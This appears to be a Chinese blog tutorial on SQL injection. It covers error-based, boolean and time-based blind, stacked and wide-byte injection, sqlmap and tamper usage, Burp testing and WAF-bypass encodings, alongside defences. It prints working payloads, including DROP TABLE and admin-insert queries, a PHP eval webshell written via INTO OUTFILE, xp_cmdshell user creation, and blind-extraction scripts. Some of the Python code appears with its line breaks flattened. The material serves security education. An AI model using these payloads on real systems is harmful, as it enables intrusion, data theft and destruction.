当前位置: 首页 > news >正文

关于 Web 漏洞原理与利用:1. SQL 注入(SQLi)

一、原理:

拼接 SQL 语句导致注入

SQL 注入的根本原因是:开发者将用户的输入和 SQL 语句直接拼接在一起,没有任何过滤或校验,最终被数据库“当作语句”执行了。

这就像是我们给数据库写了一封信,结果攻击者在我们的信里偷偷夹带了一份自己的“指令”,数据库不加分辨就执行了两份内容。

1. 举例说明

假设有一个登录功能,代码如下:

$username = $_POST['username'];
$password = $_POST['password'];$sql = "SELECT * FROM users WHERE username = '$username' AND password = '$password'";

这就是典型的“拼接语句”,用的是 " 字符 + 变量直接拼接,最后形成了一个完整 SQL:

正常输入:

username=admin
password=admin123

生成 SQL:

SELECT * FROM users WHERE username = 'admin' AND password = 'admin123';

这没问题,会去数据库里查找 admin 用户。

注入输入:

攻击者输入:

username=admin' -- 
password=随便写

拼接结果变成了:

SELECT * FROM users WHERE username = 'admin' -- ' AND password = '随便写';

这里的 -- 是 SQL 注释,后面所有内容都被注释掉了

于是变成:

SELECT * FROM users WHERE username = 'admin'

不再验证密码,直接登录成功。

2. 本质分析

数据库 根本不知道哪里是“用户输入”,哪里是“业务逻辑”

数据库看到的是一整条 SQL,它不会去猜哪些字符是用户填的。所以,只要语法合法,它就执行。

$sql = "SELECT * FROM users WHERE username = '$username'";

最终数据库执行的是下面这段字符串(假设 $username = "a' OR 1=1 -- "):

SELECT * FROM users WHERE username = 'a' OR 1=1 -- ';

数据库看到:

  • username = 'a':字段等于 a

  • OR 1=1:无条件成立

  • -- 注释掉后面内容

于是整个语句变成了:返回所有用户,或者返回满足条件的任意记录。

为何“拼接”是核心问题?

拼接意味着把变量(不可信输入)和 SQL 语言结构混在一起

这就等于让攻击者能“插入代码”,让程序逻辑转向他希望的地方 —— 类似 XSS、命令注入等漏洞的本质也都是“代码拼接”。

3. 安全的做法(对比说明)

错误做法(易注入):

$sql = "SELECT * FROM users WHERE username = '$username'";

正确做法(防注入):

$stmt = $pdo->prepare("SELECT * FROM users WHERE username = ?");
$stmt->execute([$username]);

这叫参数化查询(Prepared Statements):

  • 数据库会先编译语句

  • 再把用户输入当作“数据值”处理,而不是“语句片段”

  • 无论用户输入什么,都会自动转义或隔离


二、分类:

报错注入

报错注入(Error-based SQL Injection)就是:通过构造恶意 SQL 语句,使得数据库在处理时主动抛出错误信息,而这些报错中泄露了敏感信息(如数据库名、表名、字段、数据),从而实现信息泄露甚至数据获取。

为什么可以报错?因为某些数据库(如 MySQL、MSSQL、Oracle)在执行一些非法语法时,会直接将错误信息返回到页面。如果网站没有屏蔽这些报错信息,攻击者就可以看到这些错误内容。

适用条件:

  • 后端错误信息未屏蔽,直接返回给前端;

  • 数据库支持带错误回显的函数;

  • 数据库为 MySQL/MariaDB(>=5.0)、MSSQL、Oracle 中的某些版本。

1. 经典示例

假设我们访问的地址是:

http://example.com/product.php?id=1

SQL 语句为:

SELECT * FROM products WHERE id = $id;

攻击者尝试构造注入:

?id=1' AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT database()), FLOOR(RAND()*2)) AS x FROM information_schema.tables GROUP BY x) y) -- -

这个语句干了什么?

  • CONCAT((SELECT database()), FLOOR(RAND()*2)):尝试打印当前数据库名;

  • GROUP BY x:制造重复值,强制数据库报错;

  • MySQL 会抛出如下错误:
Duplicate entry '数据库名1' for key 'group_key'

于是攻击者看到数据库名了!

2. 常见可用函数(MySQL)

函数名用途
updatexml()XML 更新,但参数非法就报错(输出我们控制的内容)
extractvalue()解析 XML,同样可以报错输出
floor(rand(0)*2)配合 group by 报错泄露
exp(~(select...))非法数学运算触发报错
benchmark()配合延时注入,虽然不报错,但能看时间

示例:updatexml() 方式

构造请求:

?id=1' and updatexml(1, concat(0x7e, (select database()), 0x7e), 1) --+

页面返回:

XPATH syntax error: '~security_db~'

就拿到了当前数据库名。

3. 优缺点

优点:

  • 不需要盲注、时间注复杂操作;

  • 只要一次就能直接爆出信息;

  • 对初学者来说非常直观。

缺点:

  • 很依赖错误信息能返回到前端;

  • 很多网站上线后已经关闭报错提示;

  • 某些云 WAF、框架会自动拦截异常字符或函数。

4. 防御方法

  • 上线环境关闭报错提示display_errors = off

  • 使用参数化查询(PreparedStatement)

  • Web 应用防火墙(WAF)拦截常见注入 Payload

  • 异常记录日志而不是直接返回用户

5. 配合 BurpSuite

  • 找到可注入参数;

  • 手动插入 ',看是否有错误提示;

  • 替换为报错函数,例如:

' and updatexml(1,concat(0x7e,(select user()),0x7e),1) --+
  • 分析返回结果,提取数据。

6. 配合 sqlmap 使用

sqlmap 支持报错注入识别:

sqlmap -u "http://example.com/product.php?id=1" --technique=E --dbs

参数说明:

  • --technique=E:只使用报错注入(E = Error-based)

  • --dbs:列出数据库名

小结

报错注入就是“故意让数据库出错,把我们要的数据藏进报错信息里”,然后网站傻傻地原样返回给我们。

=======================================

布尔盲注

“布尔盲注”(Boolean-based Blind SQL Injection),这是渗透测试和黑盒测试中非常常见的一种注入方式,适用于没有报错信息也没有页面回显的场景。

布尔盲注的核心思想是:通过观察页面返回的“真假结果差异”,一点点“猜测”数据库中的内容。

即使页面没有任何错误信息、也不显示数据,但我们依然能通过页面的响应“是一样的,还是不同的”来判断查询条件的真假,从而逐位爆破出字段、表名、密码等信息

适用条件

条件是否满足
页面无报错
页面有明显真假差异(内容、长度、状态码)
不支持堆叠注入
无法直接获取数据回显

1. 实际案例

假设 URL:

http://example.com/item.php?id=1

正常情况下返回一个商品信息。

我们猜测有 SQL 语句:

SELECT * FROM items WHERE id = '$id';

构造注入 1:

?id=1' AND 1=1 --+

页面正常返回,说明语法成功,条件成立。

构造注入 2:

?id=1' AND 1=2 --+

页面空白或返回不同内容,说明条件不成立。

说明可以用真假判断!这就是布尔盲注的基础。

现在尝试猜数据库名的首字母:

?id=1' AND SUBSTRING((SELECT database()), 1, 1) = 's' --+
  • 如果数据库名第一位是 's',页面正常;

  • 如果不是 's',页面异常或为空。

我们可以写脚本或手工构造,逐个字符尝试 a~z、A~Z、0~9,爆破出完整数据库名。

2. 常用函数

函数/语句用途
SUBSTRING(str, pos, len)截取字符串
ASCII(char)获取字符的 ASCII 值
ORD(char)类似 ASCII
LENGTH()获取字符串长度
LEFT()/RIGHT()截取开头/结尾字符
MID(str, start, len)同 substring
IF(condition, true, false)控制真假逻辑
=, >, <, like用于判断猜测是否正确

3. 爆破流程

以猜当前数据库名为例

第一步:猜长度

?id=1' AND LENGTH(database()) = 6 --+

尝试 1~20,直到页面返回正常,说明长度是 6。

第二步:逐位猜字符

?id=1' AND ASCII(SUBSTRING(database(),1,1)) = 115 --+

尝试 97~122(a-z) 或 48~57(0-9),直到匹配。

例如:

SELECT ASCII('s') => 115

说明第一位是 's'

用 Python 脚本自动化(伪代码)

for i in range(1, db_name_length+1):for c in range(32, 127):payload = f"' AND ASCII(SUBSTRING(database(),{i},1))={c} --+"res = requests.get(url + payload)if "正常页面内容" in res.text:print(f"第{i}位字符为:{chr(c)}")break

4. 注意事项

  • 有些网站防注入,会自动过滤 ',可以尝试:

    • 使用双写:''

    • 使用编码绕过:%27

    • 使用注释绕过:/**/

  • 页面差异不明显时,考虑用响应长度判断,而不是内容。

  • 有 WAF 或 CDN 时,建议用延时盲注(时间注入)替代。

5. 防御方法

方法说明
参数化查询不拼接 SQL,防止注入
ORM 框架自动构造语句
限制错误信息不显示后端逻辑细节
Web 防火墙检测 payload,拦截异常请求
限制访问频率防止暴力猜解

小结

布尔盲注是“看结果对不对”来判断数据库内容的一种技巧,虽然不能直接看到数据,但可以用脚本慢慢爆破出来。

=======================================

时间盲注

时间盲注(Time-based Blind SQL Injection)是在 没有回显、没有报错、没有布尔差异 的极端场景下仍能利用的注入方式,非常适合实际黑盒测试中的“黑洞”接口。

时间盲注的本质是:通过判断服务器响应“是否延迟”,来推断某个布尔条件是否为真。

不需要任何页面内容变化,只需要观察响应时间是否变长,比如延迟了 5 秒,就说明猜测对了。

适用场景

特征是否符合
页面无回显、无报错信息
页面对布尔条件处理一致(返回一样)
能插入 SQL 延时函数

例如,页面返回总是一个“success”,但响应时间不同,我们就可以用时间差来注入。

常用的延时函数

数据库类型延时函数
MySQLSLEEP(5)
MSSQLWAITFOR DELAY '0:0:5'
PostgreSQLpg_sleep(5)
Oracledbms_lock.sleep(5)(需权限)

1. 示例场景

假设 URL:

http://example.com/user.php?id=1

测试注入:

?id=1' AND SLEEP(5) --+

如果页面响应明显变慢(延迟 5 秒以上),说明成功注入了 SQL 并执行了 SLEEP(5),说明存在时间盲注。

2. 实际利用流程

目标:猜出数据库名称的第一位字母

爆破条件语句:

?id=1' AND IF(ASCII(SUBSTRING(database(),1,1))=115, SLEEP(5), 0) --+

如果数据库名第一位的 ASCII 是 115(即 's'),就延迟 5 秒,否则立即返回。

我们逐位遍历 a-zA-Z0-9,看哪一位响应慢,判断字符是否匹配。

判断长度:

?id=1' AND IF(LENGTH(database())=6, SLEEP(5), 0) --+

响应变慢 ➜ 说明数据库名长度为 6。

猜字符(自动脚本逻辑):

import requests
import timeurl = "http://example.com/user.php?id=1"for pos in range(1, 10):for c in range(32, 127):  # 可打印 ASCIIpayload = f"1' AND IF(ASCII(SUBSTRING(database(),{pos},1))={c}, SLEEP(5), 0) --+"start = time.time()r = requests.get(url, params={"id": payload})end = time.time()if end - start > 4:print(f"第{pos}位是:{chr(c)}")break

3. 注意事项

1)稳定性要求高

  • 网络延迟会影响判断,建议设置明确阈值(如 4s)。

2)容易被防火墙拦截

  • WAF 可能会拦截 sleepdelay 等关键词,可通过编码、大小写混写、注释绕过。

  • 例如:

/*!50000SLEEP*/(5)
`SLE/**/EP`(5)

3)执行慢

  • 每爆破一个字符都要等几秒,获取字段值耗时长,适合自动化跑脚本,不能手工。

4. 防御建议

方法说明
预编译语句(PreparedStatement)不拼接 SQL,防注入根本方式
限制函数使用MySQL 配置禁用 sleep() 等危险函数
限制访问频率防止脚本暴力猜解,配合验证码或滑块
Web 防火墙拦截延时关键词注入特征
审计日志分析检查请求延迟或规律请求行为

小结

时间盲注是“看响应时间”来判断 SQL 查询结果的一种隐蔽注入方式,适用于无报错、无回显的接口。虽然慢,但稳定性强,是黑盒测试的核心技能之一。

=======================================

堆叠注入

堆叠注入(Stacked Queries Injection)是 SQL 注入攻击中非常强力的一种方式,利用起来能够直接对数据库做破坏、写入 webshell、甚至拿下服务器权限。

堆叠注入(Stacked Queries) 指的是:在一个 SQL 请求中使用分号 ; 分隔多个 SQL 语句,并依次执行。

举例:

?id=1; DROP TABLE users; --

当服务器执行这一整串语句时:

  1. id=1 是原来的语句;

  2. DROP TABLE users 是我们插入的新语句;

  3. -- 注释后续,防止语法报错。

堆叠注入的前提条件

条件说明
 数据库支持多语句执行MySQL 默认关闭 multi_statements,MSSQL 支持
 后端代码未限制多语句执行比如用了 mysqli_multi_query()
 注入点允许分号 ; 被传入WAF、转义机制可能拦截

也就是说,堆叠注入并不是每个注入点都能用,但一旦可以用,威力极大!

1. 利用方式示例

示例 1:写入管理员账号

假设有注入点:

http://example.com/login.php?user=admin&pass=123

尝试注入:

user=admin'; INSERT INTO users(username,password,role) VALUES('hack','123456','admin'); --

如果数据库允许执行两个语句,就能偷偷添加一个管理员账号。

示例 2:写入 WebShell(MySQL)

?id=1; SELECT "<?php eval(\$_POST[x]); ?>" INTO OUTFILE '/var/www/html/shell.php'; --

注意:

  • 需要 FILE 权限;

  • secure_file_priv 必须允许写入;

  • 目标必须是 Linux 且目录有写权限。

示例 3:Windows 中提权用法(MSSQL)

exec xp_cmdshell 'net user hack 123456 /add';

这个命令可以添加系统用户,如果 SQL Server 是系统权限(NT AUTHORITY\SYSTEM)运行,配合 xp_cmdshell,可以直接控制系统!

2. 工具利用方式

1)sqlmap 自动识别堆叠注入

sqlmap -u "http://xxx.com/page.php?id=1" --batch --level=5 --risk=3 --dbs

如果注入点支持堆叠注入,sqlmap 会自动尝试。

2)Burp Suite 手工验证

  • 在参数中注入分号 ;,如 1; SELECT SLEEP(5)

  • 或尝试添加 ;DROP TABLE xx;-- 看是否触发数据库错误。

3. 安全绕过技巧

绕过点示例
分号被过滤使用 URL 编码 ;%3B
用 /**/ 替代空格1;/**/DROP/**/TABLE/**/users--
使用 Unicode 编码;%u0064ROP TABLE users;(某些服务端能识别)

4. 防御方式

方法说明
 使用预编译语句(PreparedStatement)根本上杜绝注入
 禁止使用多语句执行比如禁用 mysqli_multi_query()
 限制数据库权限禁止写文件、禁止执行系统命令等
 使用 WAF 防护拦截 ;DROPSELECT ... INTO OUTFILE 等特征语句
 审计日志及时发现异常 SQL尤其是写文件、删库行为

小结

堆叠注入是通过分号连接多个 SQL 语句的注入方式,利用成功可以直接添加用户、写入 Webshell、删库、执行命令,是高危中的高危注入。

=======================================

宽字节注入

宽字节注入(Wide Byte Injection)是 SQL 注入中的一种特殊绕过方式,主要用于绕过转义机制(如 addslashes),经常出现在 MySQL + PHP + GBK 编码 的环境中。

宽字节注入 是指:利用 GBK、BIG5 等双字节编码的特性,将 %5C(反斜杠 \)与某些中文字符组合成一个合法的双字节字符,从而绕过 PHP 的 addslashes() 转义机制,构造出有效的 SQL 注入语句。

适用场景

条件要求
 数据库是 MySQL
 后端语言是 PHP
 网站编码为 GBK 或其他双字节编码
 后端使用 addslashes() 转义引号

如果编码是 UTF-8,就无法利用宽字节注入,因为 UTF-8 的首字节范围不会产生绕过效果。

1. 成因原理

1)正常流程(UTF-8)

用户输入:' OR 1=1 --

PHP 中的 addslashes() 会将 ' 转义成 \',变成:

SELECT * FROM users WHERE username='\' OR 1=1 --';

攻击失败。

2)宽字节绕过流程(GBK)

输入:%bf' OR 1=1 --

  1. %bf非法单字节,但在 GBK 编码下%bf27 被视为一个合法的双字节字符;

  2. 所以 '(ASCII 0x27)被拼接到 %bf(0xbf)后,构成一个 合法的双字节字符

  3. 转义函数 addslashes() 会忽略这一组合,不再添加 \ 转义;

  4. 最终注入绕过。

关键点

GBK 编码下:

  • %bf27 = 0xbf + 0x27(即 '

  • 会被识别为合法 GBK 字符,而不是 '

  • 这样就可以绕过 ' 的转义,插入真正的单引号或 SQL 指令

2. 实战示例

假设存在如下语句(PHP 后端):

$username = addslashes($_GET['username']);
$sql = "SELECT * FROM users WHERE username = '$username'";

原本输入 ' OR 1=1 -- 会被转义成:

SELECT * FROM users WHERE username = '\' OR 1=1 --'

攻击失败。

利用宽字节注入(GBK 编码)

传参如下(URL 编码):

username=%bf%27%20OR%201=1%20--+

对应字符是:

  • %bf%27 → GBK 中的合法双字节字符,不被转义

  • 后面跟上 SQL 注入语句

最终 SQL:

SELECT * FROM users WHERE username = '※ OR 1=1 --'

看似 username 是“※”,但后面的 OR 1=1 实际是有效 SQL。

3. 工具检测与利用

sqlmap 检测宽字节注入:

sqlmap -u "http://target.com/page.php?username=abc" --dbs --tamper=charunicodeescape

或者手动尝试 payload:

username=%bf%27%20OR%201=1%20--+

Burp Suite 手工测试

  1. 先测试是否是 GBK 编码页面(抓包里 Content-Type 看是否为 charset=gbk);

  2. 用 Burp 发送 %bf'%df' 等宽字节 payload,看是否返回异常响应;

  3. 若成功绕过,说明可以构造宽字节注入链。

4. 防御方法

防御方式说明
 使用 UTF-8 编码GBK 和 BIG5 才有宽字节问题,UTF-8 不存在
 使用 PDO 参数绑定或预编译完全避免 SQL 拼接
 使用 mysqli_real_escape_string()会考虑编码情况,比 addslashes() 安全
 设置统一字符集确保数据库、PHP、前端全部用 UTF-8
 拦截高危宽字节如 %bf、%df、%5c(\)结合的组合字符

小结

宽字节注入是利用 GBK 编码中“两个字节表示一个字符”的特点,绕过 PHP 的转义机制进行 SQL 注入,适用于 PHP + MySQL + GBK 的老旧系统。


三、工具:

sqlmap

SQLMap 是一个开源的自动化 SQL 注入工具,能自动识别和利用 SQL 注入漏洞,支持多种数据库,几乎是所有 Web 安全工程师与渗透测试者的标配工具。

  •  支持数据库:MySQL、Oracle、PostgreSQL、MSSQL、SQLite、Access 等

  •  支持注入类型:报错注入、布尔盲注、时间盲注、堆叠注入、宽字节注入等

  •  自动识别参数、绕过方式、字符编码,甚至 WAF

1. 基础使用

1)检测注入点

sqlmap -u "http://example.com/page.php?id=1"

参数说明:

  • -u:目标 URL(必须带参数)

  • --batch:自动执行,不交互

  • --level:检测级别(1-5,默认1)

  • --risk:风险等级(1-3,默认1)

  • --random-agent:随机使用 User-Agent

  • --proxy:设置代理,如 --proxy=http://127.0.0.1:8080(配合 Burp)

2)获取数据库信息

sqlmap -u "http://example.com/page.php?id=1" --dbs

枚举数据库名

3)获取表名、字段名、数据

# 枚举目标数据库中的表
sqlmap -u "http://example.com/page.php?id=1" -D target_db --tables# 枚举目标表中的字段
sqlmap -u "http://example.com/page.php?id=1" -D target_db -T users --columns# 获取字段数据
sqlmap -u "http://example.com/page.php?id=1" -D target_db -T users -C username,password --dump

4)自动识别注入类型

sqlmap -u "http://example.com/page.php?id=1" --technique=BEUSTQ

参数说明:

技术代码类型
B布尔盲注
E报错注入
UUnion 查询
S堆叠注入
T时间盲注
Q内联查询

2. 实战案例

示例 1:检测 POST 请求

sqlmap -u "http://example.com/login.php" --data "username=admin&password=123456"

针对 POST 表单数据注入

示例 2:Cookie 注入点

sqlmap -u "http://example.com/profile.php" --cookie "id=1; token=abc123" --dbs

示例 3:指定注入参数(比如只想测试 id)

sqlmap -u "http://example.com/item.php?id=1&category=3" -p id

示例 4:绕过 WAF

sqlmap -u "http://example.com/page.php?id=1" --tamper=charunicodeescape

内置常用绕过脚本(在 tamper 目录下):

  • space2comment.py:将空格替换为注释

  • charunicodeescape.py:使用 Unicode 编码绕过

  • equaltolike.py:替换等号为 LIKE

  • unmagicquotes.py:绕过 addslashes()

可组合使用:

--tamper="space2comment,charunicodeescape"

3. 进阶功能

功能命令
爆破管理员密码--passwords
查看当前用户权限--current-user--is-dba
读取任意文件--file-read=/etc/passwd
写入 Webshell--os-shell(风险极高)
自动提权--privileges--roles
自定义 User-Agent、Referer--user-agent--referer
使用代理--proxy=http://127.0.0.1:8080

4. 实战建议

  •  先用 Burp 测试是否存在注入点,再用 sqlmap 进一步爆破

  •  不要一上来就 --dump 全部数据,这样很慢也容易被封

  •  使用 -v 参数查看详细过程(如 -v 3

  •  配合 --output-dir 保存历史数据

  •  可以生成 POC、批量注入脚本

5. 常见错误 & 解决办法

报错信息解决方案
403 Forbidden使用 --random-agent、加 --proxy 用 Burp 抓包调试
无法注入--level=5 --risk=3,提高测试深度
只有一个数据库名很可能是 WAF 限制,尝试 --tamper 脚本
响应无变化改为使用 --technique=T 强制时间盲注

6. 靶场推荐

靶场说明
sqli-labs最经典 SQL 注入练习平台
DVWA配置简单,适合入门
WebGoatOWASP 官方教学平台
Vulhub容器化漏洞环境,可练习各种组合注入

小结

SQLMap 是 SQL 注入武器库中的“AK-47”,能从探测、绕过、防御识别、利用、提权、读取文件等全流程自动化执行,熟练掌握它几乎等于掌握了大多数 SQL 注入场景。

=======================================

tamper

tamper 是 SQLMap 的 SQL 注入 payload 变形器。简单来说,就是在注入时自动对 payload 做“变形、编码、绕过”,从而避开 Web 应用的过滤机制、WAF、防火墙等。

当目标存在如下情况时需要 tamper

  • 输入中不能出现 '= 等特殊符号

  • 被 WAF 拦截(如:云盾、D盾、宝塔防火墙、WAF、CDN等)

  • 关键字被过滤或大小写敏感

  • 要绕过特殊构造(例如 %df%5c 宽字节)

  • 特殊编码要求(如 UTF-8、unicode)

tamper 的工作方式

每个 tamper 文件是一个 Python 脚本,位于:

sqlmap/tamper/

每一个都定义了一个 tamper(payload, **kwargs) 函数,返回“变形后”的注入语句。

使用方式

python3 sqlmap.py -u "http://testphp.vulnweb.com/listproducts.php?cat=1" --tamper=space2comment

支持多个 tamper 脚本:

--tamper=space2comment,between,randomcase

1. 常用 tamper 脚本讲解

1)space2comment.py

把空格变成 SQL 注释 /**/,常用于绕过空格过滤:

原语句:

SELECT * FROM users WHERE id = 1 AND 1=1

变形后:

SELECT/**/ * /**/FROM/**/users/**/WHERE/**/id/**/=/**/1/**/AND/**/1=1

2)between.py

把布尔判断转换为 BETWEEN 表达式,绕过 =<> 被过滤的情况:

1 AND 1=1 → 1 AND 1 BETWEEN 1 AND 1

3)randomcase.py

随机大小写改变关键字,例如 UNION SELECTuNioN SeLEcT

适用于大小写敏感的过滤器。

4)charencode.py

将字符编码成 CHR() 格式:

'admin' → CHR(97)||CHR(100)||CHR(109)||CHR(105)||CHR(110)

适用于字符限制严重的注入点。

5)equaltolike.py

= 改成 LIKE

id=1 → id LIKE 1

6)space2plus.py

将空格变为 + 号:

SELECT * FROM users → SELECT+*+FROM+users

常见于 URL 编码注入点。

7)percentage.py

将注入 payload 的字符转为 %xx 编码(URL 编码)

SELECT → %53%45%4C%45%43%54

2. 选择合适的 tamper

可以根据目标 WAF 报错信息、抓包记录来判断:

情况建议使用 tamper
空格被过滤space2comment, space2plus
大小写敏感randomcase
特殊字符如 '= 被拦截between, equaltolike
GET 请求中乱码charencode, percentage
WAF 自动拦截 payload多个 tamper 组合尝试绕过

3. 自定义 tamper

sqlmap/tamper/ 中新建 Python 文件:

from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOWdef tamper(payload, **kwargs):return payload.replace(" ", "/**/")

然后使用:

--tamper=mytamper.py

4. 技巧

组合绕过

--tamper=space2comment,randomcase,between,charencode

建议一边抓包看响应,一边逐步测试组合绕过。

查看所有 tamper 脚本

ls sqlmap/tamper/

或者:

python3 sqlmap.py --list-tampers

小结

  • 注入点位置:GET、POST、Cookie、Header 可能都要测

  • 编码机制:是否需要先 URL 编码再注入

  • WAF 特征:是关键字过滤、字符替换,还是响应阻断

  • 组合测试:不要迷信单个 tamper,组合是王道

=======================================

BurpSuite

BurpSuite 是由 PortSwigger 开发的一款集成化 Web 安全测试平台。它主要用于:

  • 拦截和修改 HTTP/HTTPS 请求

  • 检测并利用漏洞(如 SQLi、XSS、CSRF)

  • 自动化扫描

  • 编写自定义插件和脚本

Burp 是手工测试和自动测试的桥梁,适合安全测试人员、红队、逆向工程者等使用。

版本功能说明
Community(免费)只能手工测试,功能受限
Professional(付费)全部功能,适合渗透测试
Enterprise大规模企业扫描使用,不常用

1. BurpSuite 模块详解

1)Proxy(代理)

  • 核心:拦截浏览器发出的请求,用于测试和修改。

  • 功能:

    • 拦截请求与响应(Intercept)

    • 配置代理规则(Match & Replace)

    • 可搭配浏览器插件(如 FoxyProxy)

是进行 手工注入、参数篡改、Cookie 注入 的核心入口。

2)Repeater(请求复发器)

  • 用途:将请求反复发送、手动修改、观察响应。

  • 场景:SQL 注入测试、XSS 反复调试、认证绕过验证。

SQLi 手工注入、时间盲注等常用 Repeater 进行手动调试。

3)Intruder(爆破器)

  • 用途:自动化枚举/爆破参数。

  • 典型场景:

    • 登录爆破(用户名/密码)

    • 参数 Fuzz 测试(注入点判断)

    • Token、Session 猜测

    • SQL Boolean 爆破(如:逐位猜字符)

4)Scanner(仅 Pro 版)

  • 用途:自动扫描目标网站,发现漏洞。

  • 能识别常见漏洞如:

    • SQLi

    • XSS

    • CSRF

    • 信息泄露等

免费版不支持,建议熟练掌握手工测试。

5)Decoder(编码器)

  • 用于各种数据的 编码、解码、哈希运算

  • 常见用途:

    • URL 编码 / Base64 解码

    • Hex / Unicode / HTML 实体转换

    • 分析 JWT、加密参数

6)Comparer(比较器)

  • 用于比较两个请求或响应之间的差异。

  • 典型用途:

    • 登录成功 vs 失败 响应对比

    • SQL 注入中判断响应差异

7)Extender(扩展中心)

  • 用于安装插件(BApp Store)

  • 支持用 Java、Python (Jython)、Ruby 编写插件

  • 常用插件:

    • AuthMatrix:权限绕过测试

    • Hackvertor:编码解码处理神器

    • Logger++:高级请求记录器

    • Turbo Intruder:爆破神器

8)Logger / HTTP history

  • 记录所有请求与响应,便于回溯和分析。

  • 可查看 Cookie、Header、参数等所有细节。

2. Burp 使用流程示例

以测试某登录接口是否存在 SQL 注入为例:

  • 打开 BurpSuite,设置代理(127.0.0.1:8080)

  • 浏览器访问登录页面,输入用户名密码

  • Burp 拦截到请求:

POST /login.php HTTP/1.1
username=admin&password=admin
  • 发送到 Repeater 模块,手动测试:

    • 尝试 admin'--

    • 尝试 ' OR 1=1--

  • 分析返回是否成功,判断是否注入成功

3. 完整手工注入流程

以 GET 为例

1)捕获请求

浏览器访问注入点页面,例如:

http://testphp.vulnweb.com/listproducts.php?cat=1

Burp Proxy 模块拦截:

GET /listproducts.php?cat=1 HTTP/1.1
Host: testphp.vulnweb.com
...

2)发送请求到 Repeater 测试

在 Burp 中右键 → Send to Repeater

进入 Repeater 模块进行测试。

3)经典注入测试语句

闭合测试:

cat=1'

→ 看是否报错或页面变形。

真假条件测试:

cat=1 AND 1=1
cat=1 AND 1=2

→ 如果返回页面不同,说明可能存在 SQL 注入(布尔盲注)。

注释符尝试:

cat=1'--+
cat=1'#
cat=1'/*

判断数据库版本(报错注入)

cat=1 AND updatexml(1,concat(0x7e,(SELECT version())),1)

盲注测试(时间延迟)

cat=1 AND IF(1=1, SLEEP(5), 0)

→ 页面延迟响应,说明支持时间盲注。

4. POST 注入示例(登录框)

请求包:

POST /login.php HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencodedusername=admin&password=admin

发送到 Repeater,修改为:

username=admin'--+&password=123

→ 成功登录则为注入点。

或者:

username=admin' AND 1=1--+&password=123
username=admin' AND 1=2--+&password=123

→ 比较响应页面差异。

5. 手工注入常用技巧

技巧示例
URL 编码'%27
注释绕过' OR 1=1 -- /*注释*/
大小写绕过UnIoN SeLeCt
双写绕过'' OR 1=1--
延时盲注IF(ascii(substr(user(),1,1))=114,SLEEP(3),0)
宽字节绕过%df' 与 GBK 编码环境配合使用

四、绕过技巧:

编码绕过

原理: 利用 URL 编码、Unicode 编码、Hex 编码等方式,将恶意字符转换为编码形式绕过检测。

  • 例子:

    • 直接注入:

      ' OR '1'='1
    • 编码注入:

      %27%20OR%20%271%27%3D%271
      
    • 服务器收到后会解码成原始字符,但有些 WAF 检测时只检测明文,绕过了规则。

  • 应用:

    • URL 编码 %27 替代 '

    • Unicode 编码 \u0027 替代 '

    • Hex 编码 0x27 替代 '

注释绕过

原理: 利用 SQL 注释符号来截断原始语句后续代码或隐藏注入代码。

  • 常用注释符:

    • -- (双减号,注意后面必须有空格或换行)

    • #

    • /* ... */ (块注释)

  • 例子:

    ' OR 1=1 -- 
    ' OR 1=1 #
    ' OR 1=1 /* 
    
  • 作用:

    • 用注释截断后面多余语句,避免语法错误

    • 隐藏注入payload,防止被简单过滤检测

  • 变体:

    • 在注释中插入空格、换行、tab,增加混淆,如 --\n#\t

    • 嵌套注释或组合注释,如:/*comment*/

大小写绕过

原理: SQL 关键字不区分大小写,利用大小写混合改变检测规则,避开大小写敏感的简单过滤。

  • 例子:

    UNION SELECT
    uNiOn sEleCt
    UnIoN SeLeCt
    
  • 作用:

    • 有些过滤器只匹配大写或小写关键字,混合大小写能绕过

双写绕过(字符重复)

原理: 通过重复注入字符或关键字,利用后台数据库或解析器的特殊行为绕过检测。

  • 例子:

    • 双写单引号:'' OR 1=1--

    • 重复关键字:UNION UNION SELECT

  • 解释:

    • SQL 中 '' 是转义单引号,变相实现注入

    • 一些 WAF无法识别连续字符,误判

宽字节绕过

原理: 利用多字节编码(如 GBK、BIG5)中半角符号与汉字编码重叠特性,混淆注入字符,绕过过滤器。

  • 说明:

    • 中文编码环境下,某些字节组合被解析成合法字符,但过滤器误识为单字节字符

    • 服务器解码时会还原成原始 SQL 注入字符

  • 例子:

    在 GBK 编码中,%df%27 被解析成一个合法的宽字节字符,但 WAF 识别为 %27(单引号)从而绕过。

  • 应用:

    • 发送 %df%27 OR '1'='1 绕过过滤

    • 这种绕过对中文环境尤为有效,尤其旧版本数据库

延时注入绕过

原理: 利用 SQL 中的延时函数(如 SLEEP())实现盲注,绕过无错误提示且返回信息一致的检测。

  • 常用函数:

    • MySQL:SLEEP(seconds)

    • SQL Server:WAITFOR DELAY '0:0:5'

    • Oracle:DBMS_LOCK.SLEEP(seconds)

  • 例子:

    1' AND IF(SUBSTR(USER(),1,1)='r', SLEEP(5), 0) -- 
    
  • 作用:

    • 无需页面报错,只根据响应时间长短判断注入条件是否成立

    • 绕过简单的错误报错过滤和页面内容检测

  • 延时注入搭配其他绕过手法如编码、注释使用效果更佳。

总结

绕过技巧作用原理典型例子备注
编码绕过URL/Unicode/Hex编码%27 OR 1=1绕过简单字符串检测
注释绕过利用 SQL 注释符截断后续语句' OR 1=1 -- 截断后续合法语句
大小写绕过混合大小写关键字UnIoN SeLeCt绕过大小写敏感规则
双写绕过重复字符、转义'' OR 1=1--利用转义规则混淆检测
宽字节绕过利用多字节编码字符重叠%df%27 OR '1'='1针对 GBK 等中文编码环境
延时注入利用延时函数判断盲注AND IF(condition, SLEEP(5),0)无需报错,仅靠响应时间判断
http://www.xdnf.cn/news/514333.html

相关文章:

  • 基于FPGA的电子万年历系统开发,包含各模块testbench
  • ​Docker 网络
  • 前端三剑客之HTML
  • 深入解析Python中的Vector2d类:从基础实现到特殊方法的应用
  • nginx服务器实验
  • 23种设计模式解释+记忆
  • 虚幻引擎5-Unreal Engine笔记之`GameMode`、`关卡(Level)` 和 `关卡蓝图(Level Blueprint)`的关系
  • 快速上手SElinux
  • 第8章 常用实用类
  • 基于shardingsphere的分库分表方案
  • redis读写一致问题
  • Visual Studio已更新为17.14+集成deepseek实现高效编程
  • AI大模型(二)embedding模型调用后对产生的数据进行分析
  • 水平可见直线--上凸包(andrew算法
  • 【嵙大o】C++作业合集
  • 不同版本 Linux 系统账号操作指令 ——rtkit 账号删除、普通账号的创建 / 删除 / 权限修改超详细大全
  • 如何在 Windows 11 或 10 上安装 Amazon Corretto
